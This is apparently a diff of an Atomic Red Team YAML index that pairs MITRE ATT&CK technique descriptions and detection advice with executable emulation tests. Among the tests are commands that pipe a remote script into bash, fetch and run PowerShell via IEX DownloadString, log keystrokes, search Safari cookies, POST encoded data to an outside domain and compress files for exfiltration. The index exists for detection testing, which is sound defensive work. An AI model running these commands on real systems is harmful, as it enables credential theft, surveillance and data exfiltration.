https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074/Discovery.sh + | bash -s > /tmp/discovery.log '': technique: - external_references: - - url: https://attack.mitre.org/techniques/T1102 - source_name: mitre-attack - external_id: T1102 - - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf - source_name: University of Birmingham C2 - description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command - & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. + x_mitre_permissions_required: + - User x_mitre_data_sources: - - Host network interface - - Netflow/Enclave netflow - - Network protocol analysis - - Packet capture - - SSL/TLS inspection - x_mitre_network_requirements: true - x_mitre_contributors: - - Anastasios Pingios + - Process monitoring + - File monitoring + - API monitoring + name: Video Capture + description: |- + An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files. + + Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen. + + In macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review) + id: attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf + x_mitre_platforms: + - Windows + - macOS object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: 'Host data that can relate unknown or suspicious process - activity using a network connection is important to supplement any existing - indicators of compromise based on malware command and control signatures and - infrastructure or the presence of strong encryption. Packet capture analysis - will require SSL/TLS inspection if data is encrypted. Analyze network data - for uncommon data flows (e.g., a client sending significantly more data than - it receives from a server). User behavior monitoring may help to detect abnormal - patterns of activity. Analyze packet contents to detect communications that - do not follow the expected protocol behavior for the port that is being used. - (Citation: University of Birmingham C2)' + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system. + + Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data. created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Praetorian + created: '2017-05-31T21:31:37.917Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: collection + external_references: + - external_id: T1125 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1125 + - source_name: capec + external_id: CAPEC-634 + url: https://capec.mitre.org/data/definitions/634.html + - source_name: objective-see 2017 review + description: Patrick Wardle. (n.d.). Retrieved March 20, 2018. + url: https://objective-see.com/blog/blog_0x25.html + modified: '2019-07-17T21:14:04.412Z' + atomic_tests: [] + T1005: + technique: + x_mitre_data_sources: + - File monitoring + - Process monitoring + - Process command-line parameters + type: attack-pattern + name: Data from Local System + description: | + Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system prior to Exfiltration. + + Adversaries will often search the file system on computers they have compromised to find files of interest. They may do this using a [Command-Line Interface](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106), which has functionality to interact with the file system to gather information. Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system. + id: attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5 x_mitre_platforms: - Linux - macOS - Windows + - GCP + - AWS + - Azure + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' + x_mitre_system_requirements: + - Privileges to access certain files and directories + x_mitre_detection: Monitor processes and command-line arguments for actions + that could be taken to collect files from a system. Remote access tools with + built-in features may interact directly with the Windows API to gather data. + Data may also be acquired through Windows system management tools such as + [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) + and [PowerShell](https://attack.mitre.org/techniques/T1086). + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Praetorian + created: '2017-05-31T21:30:20.537Z' kill_chain_phases: - - phase_name: command-and-control - kill_chain_name: mitre-attack - - phase_name: defense-evasion - kill_chain_name: mitre-attack - x_mitre_defense_bypassed: - - Binary Analysis - - Log analysis - - Firewall - id: attack-pattern--830c9528-df21-472c-8c14-a036bf17d665 - name: Web Service - created: '2017-05-31T21:31:13.915Z' - x_mitre_version: '1.0' - type: attack-pattern - description: |- - Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system. - - These commands may also include pointers to command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers. - - Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. + - kill_chain_name: mitre-attack + phase_name: collection + external_references: + - external_id: T1005 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1005 + modified: '2019-10-04T22:05:50.580Z' + identifier: T1005 + atomic_tests: + - name: Search macOS Safari Cookies + description: 'This test uses `grep` to search a macOS Safari binaryCookies file + for specified values. This was used by CookieMiner malware. - Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed). +' + supported_platforms: + - macos + input_arguments: + search_string: + description: String to search Safari cookies to find. + type: string + default: coinbase + executor: + name: sh + elevation_required: false + command: | + cd ~/Library/Cookies + grep -q "#{search_string}" "Cookies.binarycookies" + T1114: + technique: + x_mitre_data_sources: + - Office 365 trace logs + - Mail server + - Email gateway + - Authentication logs + - File monitoring + - Process monitoring + - Process use of network x_mitre_permissions_required: - User - atomic_tests: [] - T1090: - technique: - external_references: - - url: https://attack.mitre.org/techniques/T1090 - source_name: mitre-attack - external_id: T1090 - - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf - source_name: University of Birmingham C2 - description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command - & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. - - url: http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/ - source_name: Trend Micro APT Attack Tools - description: 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools - of the Trade. Retrieved December 2, 2015.' + name: Email Collection + description: "Adversaries may target user email to collect sensitive information + from a target.\n\nFiles containing email data can be acquired from a user's + system, such as Outlook storage or cache files .pst and .ost.\n\nAdversaries + may leverage a user's credentials and interact directly with the Exchange + server to acquire information from within a network. Adversaries may also + access externally facing Exchange services or Office 365 to access email using + credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) + can be used to automate searches for specific key words.(Citation: Black Hills + MailSniper, 2017)\n\n### Email Forwarding Rule\n\nAdversaries may also abuse + email-forwarding rules to monitor the activities of a victim, steal information, + and further gain intelligence on the victim or the victim’s organization to + use as part of further exploits or operations.(Citation: US-CERT TA18-068A + 2018) Outlook and Outlook Web App (OWA) allow users to create inbox rules + for various email functions, including forwarding to a different recipient. + Messages can be forwarded to internal or external recipients, and there are + no restrictions limiting the extent of this rule. Administrators may also + create forwarding rules for user accounts with the same considerations and + outcomes.(Citation: TIMMCMIC, 2014)\n\nAny user or administrator within the + organization (or adversary with valid credentials) can create rules to automatically + forward all received messages to another recipient, forward emails to different + locations based on the sender, and more. " + id: attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f + x_mitre_platforms: + - Windows + - Office 365 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '2.0' + type: attack-pattern x_mitre_detection: |- - Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network activities disassociated from user-driven actions from processes that normally require user direction are suspicious. + There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection. - Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) + File access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity. + + Monitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). + + Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. + + Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include X-MS-Exchange-Organization-AutoForwarded set to true, X-MailFwdBy and X-Forwarded-To. The forwardingSMTPAddress parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the X-MS-Exchange-Organization-AutoForwarded header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_contributors: - - Walker Johnson + - Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC) + created: '2017-05-31T21:31:25.454Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: collection + external_references: + - external_id: T1114 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1114 + - description: Bullock, B.. (2017, April 21). Abusing Exchange Mailbox Permissions + with MailSniper. Retrieved October 4, 2019. + source_name: Black Hills MailSniper, 2017 + url: https://www.blackhillsinfosec.com/abusing-exchange-mailbox-permissions-mailsniper/ + - description: US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted + by Cyber Actors. Retrieved October 2, 2019. + source_name: US-CERT TA18-068A 2018 + url: https://www.us-cert.gov/ncas/alerts/TA18-086A + - description: 'Search Results Web Result with Site Links Tim McMichael. (2014, + July 28). Exchange and Office 365: Mail Forwarding. Retrieved August 27, + 2019.' + source_name: TIMMCMIC, 2014 + url: https://blogs.technet.microsoft.com/timmcmic/2014/07/28/exchange-and-office-365-mail-forwarding/ + - description: McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. + Retrieved October 8, 2019. + source_name: Microsoft Tim McMichael Exchange Mail Forwarding 2 + url: https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/ + modified: '2019-10-08T20:59:13.652Z' + identifier: T1114 + atomic_tests: + - name: T1114 Email Collection with PowerShell + description: 'Search through local Outlook installation, extract mail, compress + the contents, and saves everything to a directory for later exfiltration. + +' + supported_platforms: + - windows + executor: + name: command_prompt + elevation_required: false + command: | + Display email contents in the terminal + PS C:\> .\Get-Inbox.ps1 + + Write emails out to a CSV + PS C:\> .\Get-Inbox.ps1 -file "mail.csv" + + Download and Execute + "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1114/Get-Inbox.ps1')" + T1056: + technique: x_mitre_data_sources: - - Process use of network + - Windows Registry + - Kernel drivers - Process monitoring - - Netflow/Enclave netflow - - Packet capture - modified: '2018-12-05T17:37:12.426Z' - x_mitre_network_requirements: true - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + - API monitoring + x_mitre_permissions_required: + - Administrator + - SYSTEM + name: Input Capture + description: |- + Adversaries can use methods of capturing user input for obtaining credentials for [Valid Accounts](https://attack.mitre.org/techniques/T1078) and information Collection that include keylogging and user input field interception. + + Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes, (Citation: Adventures of a Keystroke) but other methods exist to target information for specific purposes, such as performing a UAC prompt or wrapping the Windows default credential provider. (Citation: Wrightson 2012) + + Keylogging is likely to be used to acquire credentials for new access opportunities when [Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises. + + Adversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service. (Citation: Volexity Virtual Private Keylogging) + id: attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2 x_mitre_platforms: - Linux - macOS - Windows - kill_chain_phases: - - phase_name: command-and-control - kill_chain_name: mitre-attack - id: attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea - name: Connection Proxy - created: '2017-05-31T21:31:08.479Z' + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_version: '1.0' type: attack-pattern - description: |- - A connection proxy is used to direct network traffic between systems or act as an intermediary for network communications. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) - - The definition of a proxy can also be expanded out to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other. + x_mitre_detection: |- + Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include SetWindowsHook, GetKeyState, and GetAsyncKeyState. (Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes and detect driver installs, as well as looking for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes. - The network may be within a single organization or across organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. - identifier: T1090 + Monitor the Registry for the addition of a Custom Credential Provider. (Citation: Wrightson 2012) Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in use by adversaries may help to catch the result of user input interception if new techniques are used. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - John Lambert, Microsoft Threat Intelligence Center + created: '2017-05-31T21:30:48.323Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: collection + - kill_chain_name: mitre-attack + phase_name: credential-access + external_references: + - external_id: T1056 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1056 + - source_name: capec + external_id: CAPEC-568 + url: https://capec.mitre.org/data/definitions/568.html + - source_name: Adventures of a Keystroke + description: 'Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth + look into keyloggers on Windows. Retrieved April 27, 2016.' + url: http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf + - source_name: Wrightson 2012 + description: Wrightson, T. (2012, January 2). CAPTURING WINDOWS 7 CREDENTIALS + AT LOGON USING CUSTOM CREDENTIAL PROVIDER. Retrieved November 12, 2014. + url: http://blog.leetsys.com/2012/01/02/capturing-windows-7-credentials-at-logon-using-custom-credential-provider/ + - source_name: Volexity Virtual Private Keylogging + description: 'Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco + Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.' + url: https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/ + modified: '2019-06-18T13:33:08.842Z' + identifier: T1056 atomic_tests: - - name: Connection Proxy + - name: Input Capture description: | - Enable traffic redirection. - - Note that this test may conflict with pre-existing system configuration. + Utilize PowerShell and external resource to capture keystrokes + [Payload](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1056/Get-Keystrokes.ps1) + Provided by [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1) supported_platforms: - - macos - - linux + - windows input_arguments: - proxy_server: - description: Proxy server URL (host:port) - type: url - default: 127.0.0.1:8080 - proxy_scheme: - description: Protocol to proxy (http or https) - type: string - default: http + filepath: + description: Name of the local file, include path. + type: Path + default: c:\key.log executor: - name: sh - command: 'export #{proxy_scheme}_proxy=#{proxy_server} - -' - cleanup_command: |- - unset http_proxy - unset https_proxy - T1132: + name: powershell + command: ".\\Get-Keystrokes.ps1 -LogPath #{filepath}\n" + T1113: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1132 - source_name: mitre-attack - external_id: T1132 - - url: https://en.wikipedia.org/wiki/Binary-to-text_encoding - source_name: Wikipedia Binary-to-text Encoding - description: Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved - March 1, 2017. - - url: https://en.wikipedia.org/wiki/Character_encoding - source_name: Wikipedia Character Encoding - description: Wikipedia. (2017, February 19). Character Encoding. Retrieved - March 1, 2017. - - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf - source_name: University of Birmingham C2 - description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command - & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. x_mitre_data_sources: - - Packet capture - - Process use of network + - API monitoring - Process monitoring - - Network protocol analysis - x_mitre_network_requirements: true - x_mitre_contributors: - - Itzik Kotler, SafeBreach - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client - sending significantly more data than it receives from a server). Processes - utilizing the network that do not normally have network communication or have - never been seen before are suspicious. Analyze packet contents to detect communications - that do not follow the expected protocol behavior for the port that is being - used. (Citation: University of Birmingham C2)' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + - File monitoring + name: Screen Capture + description: |- + Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. + + ### Mac + + On OSX, the native command screencapture is used to capture screenshots. + + ### Linux + + On Linux, there is the native command xwd. (Citation: Antiquated Mac Malware) + id: attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688 x_mitre_platforms: - Linux - macOS - Windows - kill_chain_phases: - - phase_name: command-and-control - kill_chain_name: mitre-attack - id: attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f - name: Data Encoding - created: '2017-05-31T21:31:43.540Z' + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_version: '1.0' type: attack-pattern - description: 'Command and control (C2) information is encoded using a standard - data encoding system. Use of data encoding may be to adhere to existing protocol - specifications and includes use of ASCII, Unicode, Base64, MIME, UTF-8, or - other binary-to-text and character encoding systems. (Citation: Wikipedia - Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data - encoding systems may also result in data compression, such as gzip.' - x_mitre_permissions_required: - - User - identifier: T1132 + x_mitre_detection: Monitoring for screen capture behavior will depend on the + method used to obtain data from the operating system and write output files. + Detection methods could include collecting information from unusual processes + using API calls used to obtain image data, and monitoring for image files + written to disk. The sensor data may need to be correlated with other events + to identify malicious activity, depending on the legitimacy of this behavior + within a given network environment. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-05-31T21:31:25.060Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: collection + external_references: + - external_id: T1113 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1113 + - source_name: capec + external_id: CAPEC-648 + url: https://capec.mitre.org/data/definitions/648.html + - source_name: Antiquated Mac Malware + description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated + code. Retrieved July 5, 2017. + url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ + modified: '2019-06-18T13:58:28.377Z' + identifier: T1113 atomic_tests: - - name: Base64 Encoded data. - description: 'Utilizing a common technique for posting base64 encoded data. + - name: Screencapture + description: 'Use screencapture command to collect a full desktop screenshot + +' + supported_platforms: + - macos + input_arguments: + output_file: + description: Output file path + type: Path + default: desktop.png + executor: + name: bash + elevation_required: false + command: screencapture + - name: Screencapture (silent) + description: 'Use screencapture command to collect a full desktop screenshot ' supported_platforms: - macos + input_arguments: + output_file: + description: Output file path + type: Path + default: desktop.png + executor: + name: bash + elevation_required: false + command: screencapture -x + - name: X Windows Capture + description: 'Use xwd command to collect a full desktop screenshot and review + file with xwud + +' + supported_platforms: - linux input_arguments: - destination_url: - description: Destination URL to post encoded data. - type: string - default: redcanary.com - base64_data: - description: Encoded data to post using fake Social Security number 111-11-1111. - type: string - default: MTExLTExLTExMTE= + output_file: + description: Output file path + type: Path + default: desktop.xwd executor: - name: sh + name: bash command: | - echo -n 111-11-1111 | base64 - curl -XPOST #{base64_data}.#{destination_url} - T1105: + xwd -root -out #{output_file} + xwud -in #{output_file} + - name: Import + description: 'Use import command to collect a full desktop screenshot + +' + supported_platforms: + - linux + input_arguments: + output_file: + description: Output file path + type: Path + default: desktop.png + executor: + name: bash + command: import -window root +exfiltration: + '': technique: - external_references: - - url: https://attack.mitre.org/techniques/T1105 - source_name: mitre-attack - external_id: T1105 - - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf - source_name: University of Birmingham C2 - description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command - & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. + x_mitre_permissions_required: + - User + x_mitre_data_sources: + - Stackdriver logs + - Azure activity logs + - AWS CloudTrail logs + name: Transfer Data to Cloud Account + description: "An adversary may exfiltrate data by transferring the data, including + backups of cloud environments, to another cloud account they control on the + same service to avoid typical file transfers/downloads and network-based exfiltration + detection.\n\nA defender who is monitoring for large transfers to outside + the cloud environment through normal file transfers or over command and control + channels may not be watching for data transfers to another account within + the same cloud provider. Such transfers may utilize existing cloud provider + APIs and the internal address space of the cloud provider to blend into normal + traffic or avoid data transfers over external network interfaces.\n\nIncidents + have been observed where adversaries have created backups of cloud instances + and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul + 2018) " + id: attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6 + x_mitre_contributors: + - Praetorian + x_mitre_platforms: + - Azure + - AWS + - GCP object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_detection: |- - Monitor for file creation and files transferred within a network over SMB. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious. - - Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: 'Monitor account activity for attempts to share data, snapshots, + or backups with untrusted or unusual accounts on the same cloud service provider. + Monitor for anomalous file transfer activity between accounts and to untrusted + VPCs. ' + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_network_requirements: true + created: '2019-08-30T13:03:04.038Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: exfiltration + external_references: + - source_name: mitre-attack + external_id: T1537 + url: https://attack.mitre.org/techniques/T1537 + - description: Mueller, R. (2018, July 13). Indictment - United States of America + vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018. + source_name: DOJ GRU Indictment Jul 2018 + url: https://www.justice.gov/file/1080281/download + modified: '2019-10-23T14:26:32.962Z' + atomic_tests: [] + T1002: + technique: x_mitre_data_sources: + - Binary file metadata - File monitoring - - Packet capture - - Process use of network - - Netflow/Enclave netflow - - Network protocol analysis + - Process command-line parameters - Process monitoring - modified: '2018-10-17T00:14:20.652Z' - x_mitre_network_requirements: true - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + name: Data Compressed + description: An adversary may compress data (e.g., sensitive documents) that + is collected prior to exfiltration in order to make it portable and minimize + the amount of data sent over the network. The compression is done separately + from the exfiltration channel and is performed using a custom program or algorithm, + or a more common compression library or utility such as 7zip, RAR, ZIP, or + zlib. + id: attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4 x_mitre_platforms: - Linux - - macOS - - Windows - kill_chain_phases: - - phase_name: command-and-control - kill_chain_name: mitre-attack - - phase_name: lateral-movement - kill_chain_name: mitre-attack - id: attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add - name: Remote File Copy - created: '2017-05-31T21:31:16.408Z' + - Windows + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_version: '1.0' type: attack-pattern - description: |- - Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or through alternate protocols with another tool such as [FTP](https://attack.mitre.org/software/S0095). Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp. + x_mitre_detection: |- + Compression software and compressed files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known compression utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used. - Adversaries may also copy files laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) or [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076). - x_mitre_permissions_required: - - User - identifier: T1105 + If the communications channel is unencrypted, compressed files can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures) + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_network_requirements: false + created: '2017-05-31T21:30:19.338Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: exfiltration + external_references: + - external_id: T1002 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1002 + - source_name: Wikipedia File Header Signatures + description: Wikipedia. (2016, March 31). List of file signatures. Retrieved + April 22, 2016. + url: https://en.wikipedia.org/wiki/List_of_file_signatures + modified: '2019-07-17T18:24:51.771Z' + identifier: T1002 atomic_tests: - - name: rsync remote file copy (push) - description: 'Utilize rsync to perform a remote file copy (push) - -' + - name: Compress Data for Exfiltration With PowerShell + description: "An adversary may compress data (e.g., sensitive documents) that + is collected prior to exfiltration \n" supported_platforms: - - linux - - macos + - windows input_arguments: - local_path: - description: Path of folder to copy + input_file: + description: Path that should be compressed into our output file type: Path - default: "/tmp/adversary-rsync/" - username: - description: User account to authenticate on remote host - type: String - default: victim - remote_host: - description: Remote host to copy toward - type: String - default: victim-host - remote_path: - description: Remote path to receive rsync + default: C:\* + output_file: + description: Path where resulting compressed data should be placed type: Path - default: "/tmp/victim-files" + default: C:\test\Data.zip executor: - name: bash - command: 'rsync -r #{local_path} #{username}@#{remote_host}:#{remote_path} - -' - - name: rsync remote file copy (pull) - description: 'Utilize rsync to perform a remote file copy (pull) + name: powershell + elevation_required: false + command: 'dir #{input_file} -Recurse | Compress-Archive -DestinationPath #{output_file} ' + - name: Compress Data for Exfiltration With Rar + description: "An adversary may compress data (e.g., sensitive documents) that + is collected prior to exfiltration \n" supported_platforms: - - linux - - macos + - windows input_arguments: - remote_path: - description: Path of folder to copy + input_file: + description: Path that should be compressed into our output file type: Path - default: "/tmp/adversary-rsync/" - username: - description: User account to authenticate on remote host - type: String - default: adversary - remote_host: - description: Remote host to copy from - type: String - default: adversary-host - local_path: - description: Local path to receive rsync + default: "*.docx" + output_file: + description: Path where resulting compressed data should be placed type: Path - default: "/tmp/victim-files" + default: exfilthis.rar executor: - name: bash - command: 'rsync -r #{username}@#{remote_host}:#{remote_path} #{local_path} + name: command_prompt + elevation_required: false + command: 'rar a -r #{output_file} #{input_file} ' - - name: scp remote file copy (push) - description: 'Utilize scp to perform a remote file copy (push) + - name: Data Compressed - nix - zip + description: 'An adversary may compress data (e.g., sensitive documents) that + is collected prior to exfiltration. This test uses standard zip compression. ' supported_platforms: - linux - macos input_arguments: - local_file: - description: Path of file to copy + input_files: + description: Path that should be compressed into our output file, may include + wildcards type: Path - default: "/tmp/adversary-scp" - username: - description: User account to authenticate on remote host - type: String - default: victim - remote_host: - description: Remote host to copy toward - type: String - default: victim-host - remote_path: - description: Remote path to receive scp + default: "/tmp/victim-files/*" + output_file: + description: Path that should be output as a zip archive type: Path - default: "/tmp/victim-files/" + default: "/tmp/victim-files.zip" executor: - name: bash - command: 'scp #{local_file} #{username}@#{remote_host}:#{remote_path} + name: sh + elevation_required: false + command: 'zip #{output_file} #{input_files} ' - - name: scp remote file copy (pull) - description: 'Utilize scp to perform a remote file copy (pull) + - name: Data Compressed - nix - gzip Single File + description: 'An adversary may compress data (e.g., sensitive documents) that + is collected prior to exfiltration. This test uses standard gzip compression. ' supported_platforms: - linux - macos input_arguments: - remote_file: - description: Path of file to copy - type: Path - default: "/tmp/adversary-scp" - username: - description: User account to authenticate on remote host - type: String - default: adversary - remote_host: - description: Remote host to copy from - type: String - default: adversary-host - local_path: - description: Local path to receive scp + input_file: + description: Path that 